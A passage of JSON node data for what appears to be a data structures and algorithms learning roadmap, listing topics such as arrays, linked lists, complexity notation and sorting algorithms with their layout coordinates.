{\n        \"width\": 241\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": 102.97918552903897\n      }\n    },\n    {\n      \"id\": \"G74Xp8_EMZO2oEzNTRAli\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": 155.97918552903897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Control Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": 155.97918552903897\n      }\n    },\n    {\n      \"id\": \"Cu08m5JOfvrPUDGony144\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": 261.979185529039\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": 261.979185529039\n      }\n    },\n    {\n      \"id\": \"QFR1FMOf2OV3n3jcDnOCP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": 314.979185529039\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OOP Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": 314.979185529039\n      }\n    },\n    {\n      \"id\": \"tvy3Vic8Vp-Ie2x_OyZ5b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.99419451849974,\n        \"y\": 208.97918552903897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pseudo Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 83.99419451849974,\n        \"y\": 208.97918552903897\n      }\n    },\n    {\n      \"id\": \"jvWuYXWRtt_ePawc4q1Tg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 375.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are Data Structures?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 375.4007482223489\n      }\n    },\n    {\n      \"id\": \"8_GkF9zhRL8tvT2qu-bGj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 428.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Why are Data Structures Important?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 428.4007482223489\n      }\n    },\n    {\n      \"id\": \"iTlpa9A7h33FkUAv0UaVZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 482.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basic Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 482.4007482223489\n      }\n    },\n    {\n      \"id\": \"lxY3ErxJ_D3zkSAXIBUpv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -708.1381872719935,\n        \"y\": 428.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Array\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.1381872719935,\n        \"y\": 428.4007482223489\n      }\n    },\n    {\n      \"id\": \"bRu9u8pEAQ1TmKygjIjyI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -571.1381872719935,\n        \"y\": 428.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linked Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -571.1381872719935,\n        \"y\": 428.4007482223489\n      }\n    },\n    {\n      \"id\": \"jvKRykGNy140FlquF2fcK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -571.1381872719935,\n        \"y\": 482.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -571.1381872719935,\n        \"y\": 482.40074822234897\n      }\n    },\n    {\n      \"id\": \"v0phjC75jhmE1z-f9ZMck\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.1381872719935,\n        \"y\": 482.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.1381872719935,\n        \"y\": 482.40074822234897\n      }\n    },\n    {\n      \"id\": \"kSy-8ubESdmIX4Fyl8TSu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -708.1381872719935,\n        \"y\": 535.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hash Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 139\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.1381872719935,\n        \"y\": 535.400748222349\n      }\n    },\n    {\n      \"id\": \"VotdHk0_bI3CeoIf-KoKu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 687.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Algorithmic Complexity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 50\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 687.900748222349\n      }\n    },\n    {\n      \"id\": \"unaYmPzK761Eh_iZMLeRC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 630.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Time vs Space Complexity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HosRc0hczubBHrWxCzEJj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 630.400748222349\n      }\n    },\n    {\n      \"id\": \"HosRc0hczubBHrWxCzEJj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.1381872719935,\n        \"y\": 688.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"How to Calculate Complexity?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.1381872719935,\n        \"y\": 688.400748222349\n      }\n    },\n    {\n      \"id\": \"nqnO1Wz3gYIMR98_BnF2V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 101.8618127280065,\n        \"y\": 419.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Runtimes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"v0LrabYYOKzV4oCXOK2Rs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 101.8618127280065,\n        \"y\": 419.23924063046\n      }\n    },\n    {\n      \"id\": \"_bpV8MkVOY8ZatTXYaEE4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 480.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Constant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 480.23924063046\n      }\n    },\n    {\n      \"id\": \"Cnceet0yroFHzn8npAir8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 533.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logarithmic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 533.23924063046\n      }\n    },\n    {\n      \"id\": \"HOpL-4jYhOe0LNrrkPrET\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 586.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 586.23924063046\n      }\n    },\n    {\n      \"id\": \"QKhmM_IG1FkBudfdrf1aT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 639.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Polynomial\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 639.23924063046\n      }\n    },\n    {\n      \"id\": \"xqzaYJBvlsNtT6qZ59ktv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 692.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Exponential\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 692.23924063046\n      }\n    },\n    {\n      \"id\": \"wclY3cmt1fBNYjLsmijdW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 111.8618127280065,\n        \"y\": 745.23924063046\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Factorial\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 111.8618127280065,\n        \"y\": 745.23924063046\n      }\n    },\n    {\n      \"id\": \"v0LrabYYOKzV4oCXOK2Rs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -708.8399839574668,\n        \"y\": 749.9149257985019\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Asymptotic Notation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.8399839574668,\n        \"y\": 749.9149257985019\n      }\n    },\n    {\n      \"id\": \"oylTfop_JDPHJ3jYuA2Nq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -695.8399839574668,\n        \"y\": 807.7947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Big-O Notation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CkUi93TvTkEm2_isHNvqr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -695.8399839574668,\n        \"y\": 807.7947698407204\n      }\n    },\n    {\n      \"id\": \"Ex6tzu6gwrarWm1CNFufO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.3399839574668,\n        \"y\": 860.7947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Big-θ Notation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CkUi93TvTkEm2_isHNvqr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.3399839574668,\n        \"y\": 860.7947698407204\n      }\n    },\n    {\n      \"id\": \"CkUi93TvTkEm2_isHNvqr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.8399839574668,\n        \"y\": 913.7947698407204\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Big-Ω Notation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.8399839574668,\n        \"y\": 913.7947698407204\n      }\n    },\n    {\n      \"id\": \"WzFkdkcbL8ea9DBkjfSwa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 837.4149257985019\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sorting Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 837.4149257985019\n      }\n    },\n    {\n      \"id\": \"zUDKCJCQHLW4c_6A349R3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -338.4515822676942,\n        \"y\": 929.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bubble Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMv9Oa3hsgT8Adx6m_rdL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 151\n      },\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -338.4515822676942,\n        \"y\": 929.0108704739819\n      }\n    },\n    {\n      \"id\": \"k0UBAj3hOYab4mUziOYyW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -167.45158226769425,\n        \"y\": 929.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Merge Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMv9Oa3hsgT8Adx6m_rdL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -167.45158226769425,\n        \"y\": 929.0108704739819\n      }\n    },\n    {\n      \"id\": \"liJfTV5ajAFZcfwBdVGpU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -338.4515822676942,\n        \"y\": 982.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Insertion Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMv9Oa3hsgT8Adx6m_rdL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 151\n      },\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -338.4515822676942,\n        \"y\": 982.0108704739819\n      }\n    },\n    {\n      \"id\": \"LgEV0Wm4avrOqR8bV5GXW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -167.45158226769425,\n        \"y\": 982.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Quick Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMv9Oa3hsgT8Adx6m_rdL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -167.45158226769425,\n        \"y\": 982.0108704739819\n      }\n    },\n    {\n      \"id\": \"SMgBHvqXLD6Cgr2nix4wR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 1035.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Selection Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMv9Oa3hsgT8Adx6m_rdL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 1035.0108704739819\n      }\n    },\n    {\n      \"id\": \"yMv9Oa3hsgT8Adx6m_rdL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -339.1381872719935,\n        \"y\": 1088.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Heap Sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -339.1381872719935,\n        \"y\": 1088.0108704739819\n      }\n    },\n    {\n      \"id\": \"z_Cf_alLAYSCyYtNviRcO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 101.8618127280065,\n        \"y\": 974.0108704739819\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Search Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 